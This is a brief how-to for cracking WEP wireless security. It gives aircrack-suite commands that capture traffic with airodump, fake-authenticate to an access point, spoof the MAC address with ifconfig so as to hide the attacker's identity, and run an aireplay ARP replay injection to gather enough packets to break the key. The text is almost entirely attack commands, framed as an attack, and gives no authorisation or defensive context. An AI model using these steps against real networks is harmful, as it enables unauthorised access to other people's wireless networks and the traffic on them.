First of all start airodump

#airodump ath0 dump.cap <channel>

To enable a successful attack against a wireless network in order to capture enought WEP packets you need to have a client associated to the AP.  This can be done with the following command:

#aireplay -1 30 -e <ssid> -a <AP_MAC> -h <your_MAC> ath0

If you don't want to use your own MAC you can spoof one with the following command:

#ifconfig ath0 down

#ifconfig ath0 hw ether 00:de:ad:be:ef:00

#ifconfig ath0 up

Once you have successfully authenticated a client you will need to run:

#aireplay -3 -b <Networks BSSID> -h <client MAC address> -m 68 -n 68 -d ff:ff:ff:ff:ff:ff ath0

Once an arp packet is seen on the network it will be replayed and the number of packets received in the airodump window should increase markedly